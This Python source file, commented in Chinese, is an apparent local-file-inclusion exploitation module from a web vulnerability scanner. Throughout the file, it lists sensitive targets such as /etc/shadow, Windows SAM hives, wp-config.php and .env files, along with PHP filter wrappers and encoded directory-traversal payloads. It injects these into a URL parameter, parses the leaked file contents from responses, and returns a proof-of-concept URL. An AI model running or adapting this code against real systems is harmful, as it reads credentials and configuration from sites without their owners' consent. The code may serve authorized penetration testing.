#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
LFI（本地文件包含）漏洞利用模块
"""

import logging
import re
import urllib.parse
import random
import string
import base64

logger = logging.getLogger('xss_scanner')

class LFIExploit:
    """LFI漏洞利用类"""
    
    def __init__(self, http_client):
        """
        初始化LFI漏洞利用模块
        
        Args:
            http_client: HTTP客户端对象
        """
        self.http_client = http_client
        
        # 敏感文件列表
        self.sensitive_files = [
            # Linux系统文件
            "/etc/passwd",
            "/etc/shadow",
            "/etc/hosts",
            "/etc/issue",
            "/etc/group",
            "/etc/motd",
            "/proc/self/environ",
            "/proc/version",
            "/proc/cmdline",
            "/proc/sched_debug",
            "/proc/mounts",
            "/proc/net/tcp",
            "/proc/net/udp",
            "/proc/net/fib_trie",
            "/proc/net/route",
            
            # Windows系统文件
            "C:\\Windows\\system32\\drivers\\etc\\hosts",
            "C:\\Windows\\win.ini",
            "C:\\boot.ini",
            "C:\\Windows\\System32\\config\\SAM",
            "C:\\Windows\\repair\\SAM",
            "C:\\Windows\\System32\\config\\RegBack\\SAM",
            
            # Web服务器配置文件
            "/etc/httpd/conf/httpd.conf",
            "/etc/apache2/apache2.conf",
            "/etc/nginx/nginx.conf",
            "/usr/local/etc/nginx/nginx.conf",
            "/usr/local/nginx/conf/nginx.conf",
            
            # Web应用配置文件
            "/var/www/html/config.php",
            "/var/www/html/wp-config.php",
            "/var/www/html/configuration.php",
            "/var/www/config/config.ini",
            ".env",
            "web.config",
            "config.json",
            "settings.py",
            
            # 日志文件
            "/var/log/apache2/access.log",
            "/var/log/apache2/error.log",
            "/var/log/nginx/access.log",
            "/var/log/nginx/error.log",
            "/var/log/httpd/access_log",
            "/var/log/httpd/error_log",
            "/var/log/apache/access.log",
            "/var/log/apache/error.log",
            "/usr/local/apache/log/error_log",
            "/usr/local/apache2/log/error_log"
        ]
        
        # PHP封装器
        self.php_wrappers = [
            "php://filter/convert.base64-encode/resource=",
            "php://filter/read=convert.base64-encode/resource=",
            "phar://",
            "zip://",
            "data://text/plain;base64,"
        ]
        
        # 目录遍历模式
        self.traversal_patterns = [
            "../",
            "..\\",
            "..%2f",
            "..%5c",
            "%2e%2e%2f",
            "%2e%2e/",
            "..%252f",
            "%252e%252e%252f",
            "....//",
            "....\\\\",
            ".../",
            "...\\",
            "%c0%ae%c0%ae/",
            "%25c0%25ae%25c0%25ae/"
        ]
        
        # 常见参数名
        self.common_parameters = [
            "file", 
            "page", 
            "path", 
            "filepath", 
            "filename", 
            "load", 
            "include", 
            "require", 
            "doc",
            "document", 
            "folder", 
            "root", 
            "cont", 
            "content", 
            "layout",
            "mod", 
            "module", 
            "conf", 
            "config",
            "url", 
            "uri", 
            "source", 
            "src",
            "show", 
            "view", 
            "template"
        ]
        
    def exploit(self, vulnerability):
        """
        利用LFI漏洞
        
        Args:
            vulnerability: 漏洞信息
            
        Returns:
            dict: 利用结果
        """
        logger.info(f"尝试利用LFI漏洞: {vulnerability['url']}")
        
        url = vulnerability.get('url')
        parameter = vulnerability.get('parameter')
        payload = vulnerability.get('payload', '')
        
        if not url or not parameter:
            return {
                'success': False,
                'message': '缺少必要的漏洞信息(URL或参数名)',
                'data': None
            }
            
        # 尝试不同的敏感文件
        for file_path in self.sensitive_files[:10]:  # 只尝试前10个文件
            result = self._try_file_access(url, parameter, file_path)
            if result and result['success']:
                return result
                
        # 如果直接尝试失败，尝试使用PHP包装器（如果目标可能是PHP应用）
        for wrapper in self.php_wrappers[:3]:  # 只尝试前3个包装器
            for file_path in self.sensitive_files[:5]:  # 只尝试前5个文件
                result = self._try_wrapper_access(url, parameter, wrapper, file_path)
                if result and result['success']:
                    return result
                    
        # 如果直接访问和包装器都失败，尝试使用深度目录遍历
        for traversal in self.traversal_patterns[:5]:  # 只尝试前5个遍历模式
            # 尝试不同深度
            for depth in range(1, 11):  # 1到10层深度
                traversal_path = traversal * depth
                for file_path in self.sensitive_files[:3]:  # 只尝试前3个文件
                    result = self._try_traversal_access(url, parameter, traversal_path, file_path)
                    if result and result['success']:
                        return result
                        
        # 如果所有尝试都失败，返回失败结果
        return {
            'success': False,
            'message': '未能成功利用LFI漏洞',
            'data': None
        }
        
    def _try_file_access(self, url, parameter, file_path):
        """
        尝试直接访问文件
        
        Args:
            url: 目标URL
            parameter: 参数名
            file_path: 文件路径
            
        Returns:
            dict: 利用结果
        """
        try:
            logger.info(f"尝试访问文件: {file_path}")
            
            # 构建注入URL
            parsed_url = urllib.parse.urlparse(url)
            query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
            query_params[parameter] = file_path
            
            # 重建查询字符串
            new_query = urllib.parse.urlencode(query_params)
            new_url = urllib.parse.urlunparse((
                parsed_url.scheme,
                parsed_url.netloc,
                parsed_url.path,
                parsed_url.params,
                new_query,
                parsed_url.fragment
            ))
            
            # 发送请求
            response = self.http_client.get(new_url)
            
            # 检查响应是否含有敏感文件内容
            if response and response.status_code == 200:
                file_content = self._extract_file_content(response.text, file_path)
                if file_content:
                    logger.info(f"成功读取文件: {file_path}")
                    return {
                        'success': True,
                        'message': f'成功利用LFI漏洞读取文件: {file_path}',
                        'data': {
                            'file_path': file_path,
                            'file_content': file_content[:1000] + ('...' if len(file_content) > 1000 else ''),
                            'full_content_length': len(file_content)
                        },
                        'poc': new_url
                    }
                    
        except Exception as e:
            logger.error(f"尝试访问文件时出错: {str(e)}")
            
        return None
        
    def _try_wrapper_access(self, url, parameter, wrapper, file_path):
        """
        尝试使用PHP包装器访问文件
        
        Args:
            url: 目标URL
            parameter: 参数名
            wrapper: PHP包装器
            file_path: 文件路径
            
        Returns:
            dict: 利用结果
        """
        try:
            payload = wrapper + file_path
            logger.info(f"尝试使用包装器访问文件: {payload}")
            
            # 构建注入URL
            parsed_url = urllib.parse.urlparse(url)
            query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
            query_params[parameter] = payload
            
            # 重建查询字符串
            new_query = urllib.parse.urlencode(query_params)
            new_url = urllib.parse.urlunparse((
                parsed_url.scheme,
                parsed_url.netloc,
                parsed_url.path,
                parsed_url.params,
                new_query,
                parsed_url.fragment
            ))
            
            # 发送请求
            response = self.http_client.get(new_url)
            
            # 检查响应是否包含Base64编码内容
            if response and response.status_code == 200:
                # 检查是否包含Base64编码的内容
                base64_content = self._extract_base64_content(response.text)
                if base64_content:
                    try:
                        decoded_content = base64.b64decode(base64_content).decode('utf-8', errors='ignore')
                        logger.info(f"成功使用包装器读取文件: {file_path}")
                        return {
                            'success': True,
                            'message': f'成功利用LFI漏洞使用PHP包装器读取文件: {file_path}',
                            'data': {
                                'file_path': file_path,
                                'wrapper': wrapper,
                                'file_content': decoded_content[:1000] + ('...' if len(decoded_content) > 1000 else ''),
                                'full_content_length': len(decoded_content)
                            },
                            'poc': new_url
                        }
                    except Exception as e:
                        logger.error(f"Base64解码失败: {str(e)}")
                        
        except Exception as e:
            logger.error(f"尝试使用包装器访问文件时出错: {str(e)}")
            
        return None
        
    def _try_traversal_access(self, url, parameter, traversal_path, file_path):
        """
        尝试使用目录遍历访问文件
        
        Args:
            url: 目标URL
            parameter: 参数名
            traversal_path: 目录遍历路径
            file_path: 文件路径
            
        Returns:
            dict: 利用结果
        """
        try:
            # 处理绝对路径，只保留文件名
            if file_path.startswith('/'):
                file_name = file_path.split('/')[-1]
            elif file_path.startswith('C:\\') or file_path.startswith('C:/'):
                file_name = file_path.replace('\\', '/').split('/')[-1]
            else:
                file_name = file_path
                
            payload = traversal_path + file_name
            logger.info(f"尝试使用目录遍历访问文件: {payload}")
            
            # 构建注入URL
            parsed_url = urllib.parse.urlparse(url)
            query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
            query_params[parameter] = payload
            
            # 重建查询字符串
            new_query = urllib.parse.urlencode(query_params)
            new_url = urllib.parse.urlunparse((
                parsed_url.scheme,
                parsed_url.netloc,
                parsed_url.path,
                parsed_url.params,
                new_query,
                parsed_url.fragment
            ))
            
            # 发送请求
            response = self.http_client.get(new_url)
            
            # 检查响应是否含有敏感文件内容
            if response and response.status_code == 200:
                file_content = self._extract_file_content(response.text, file_path)
                if file_content:
                    logger.info(f"成功使用目录遍历读取文件: {file_path}")
                    return {
                        'success': True,
                        'message': f'成功利用LFI漏洞使用目录遍历读取文件: {file_path}',
                        'data': {
                            'file_path': file_path,
                            'traversal_pattern': traversal_path,
                            'file_content': file_content[:1000] + ('...' if len(file_content) > 1000 else ''),
                            'full_content_length': len(file_content)
                        },
                        'poc': new_url
                    }
                    
        except Exception as e:
            logger.error(f"尝试使用目录遍历访问文件时出错: {str(e)}")
            
        return None
        
    def _extract_file_content(self, response_text, file_path):
        """
        从响应中提取文件内容
        
        Args:
            response_text: 响应文本
            file_path: 尝试访问的文件路径
            
        Returns:
            str: 提取的文件内容，如果未找到返回None
        """
        # 根据文件类型识别特征
        if '/etc/passwd' in file_path:
            # 查找/etc/passwd文件特征
            if re.search(r"root:.*:0:0:", response_text):
                # 提取完整的passwd文件内容
                passwd_lines = re.findall(r"([a-z_][a-z0-9_-]*:[^:]*:[0-9]*:[0-9]*:[^:]*:[^:]*:[^\n]*)", response_text)
                if passwd_lines:
                    return "\n".join(passwd_lines)
                    
        elif '/etc/hosts' in file_path:
            # 查找/etc/hosts文件特征
            if re.search(r"127\.0\.0\.1\s+localhost", response_text):
                # 提取完整的hosts文件内容
                hosts_content = re.search(r"(127\.0\.0\.1\s+localhost.*?)(</|\n\n|$)", response_text, re.DOTALL)
                if hosts_content:
                    return hosts_content.group(1)
                    
        elif 'win.ini' in file_path.lower():
            # 查找win.ini文件特征
            if re.search(r"\[fonts\]|\[extensions\]", response_text, re.IGNORECASE):
                # 提取完整的win.ini文件内容
                win_ini_content = re.search(r"(\[fonts\].*?)(</|\n\n|$)", response_text, re.DOTALL | re.IGNORECASE)
                if win_ini_content:
                    return win_ini_content.group(1)
                    
        elif 'httpd.conf' in file_path or 'apache' in file_path:
            # 查找Apache配置文件特征
            if re.search(r"<VirtualHost|ServerName|DocumentRoot", response_text):
                # 提取配置文件片段
                apache_content = re.search(r"(ServerName.*?|<VirtualHost.*?|DocumentRoot.*?)(</|\n\n|$)", response_text, re.DOTALL)
                if apache_content:
                    return apache_content.group(1)
                    
        elif 'nginx.conf' in file_path:
            # 查找Nginx配置文件特征
            if re.search(r"server\s*{|http\s*{|location\s*", response_text):
                # 提取配置文件片段
                nginx_content = re.search(r"(server\s*{.*?|http\s*{.*?)(</|\n\n|$)", response_text, re.DOTALL)
                if nginx_content:
                    return nginx_content.group(1)
                    
        elif '.php' in file_path:
            # 查找PHP文件特征
            if re.search(r"<\?php|DB_|PASSWORD|HOST|USER", response_text, re.IGNORECASE):
                # 提取PHP代码片段
                php_content = re.search(r"(<\?php.*?\?>|define\s*\(\s*['\"](DB_|HOST|USER|PASSWORD).*?;)", response_text, re.DOTALL | re.IGNORECASE)
                if php_content:
                    return php_content.group(1)
                    
        elif '.log' in file_path:
            # 查找日志文件特征
            if re.search(r"\[\d{2}/\w{3}/\d{4}.*?\]|\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", response_text):
                # 提取日志条目
                log_entries = re.findall(r"(\[\d{2}/\w{3}/\d{4}.*?\].*?)\n", response_text)
                if log_entries:
                    return "\n".join(log_entries[:20]) + ("\n..." if len(log_entries) > 20 else "")
                    
        # 通用文件内容检测
        # 尝试根据文件类型的常见特征来判断是否成功读取到文件内容
        file_extension = file_path.split('.')[-1].lower() if '.' in file_path else ''
        
        if file_extension in ['txt', 'ini', 'conf', 'config', 'json', 'xml', 'yaml', 'yml']:
            # 检查是否包含文件结构特征
            if re.search(r"[\{\}\[\]=:\\><\n]", response_text) and len(response_text) > 20:
                # 返回前1000个字符作为文件内容
                return response_text[:1000]
                
        # 如果无法确定具体文件类型，但响应不是HTML格式，可能是成功的
        if not re.search(r"<!DOCTYPE html>|<html|<body|<head", response_text, re.IGNORECASE) and len(response_text) > 20:
            # 返回前1000个字符作为文件内容
            return response_text[:1000]
            
        return None
        
    def _extract_base64_content(self, response_text):
        """
        从响应中提取Base64编码内容
        
        Args:
            response_text: 响应文本
            
        Returns:
            str: 提取的Base64内容，如果未找到返回None
        """
        # 查找可能的Base64编码字符串
        base64_pattern = r"([A-Za-z0-9+/]{20,}={0,2})"
        matches = re.findall(base64_pattern, response_text)
        
        # 检查每个匹配项是否是有效的Base64编码
        for match in matches:
            try:
                # 尝试解码
                decoded = base64.b64decode(match).decode('utf-8', errors='ignore')
                
                # 检查解码后的内容是否包含敏感信息
                if (re.search(r"<\?php|root:|DOCTYPE|html|password=", decoded, re.IGNORECASE) and 
                    len(decoded) > 20):
                    return match
                    
            except Exception:
                continue
                
        return None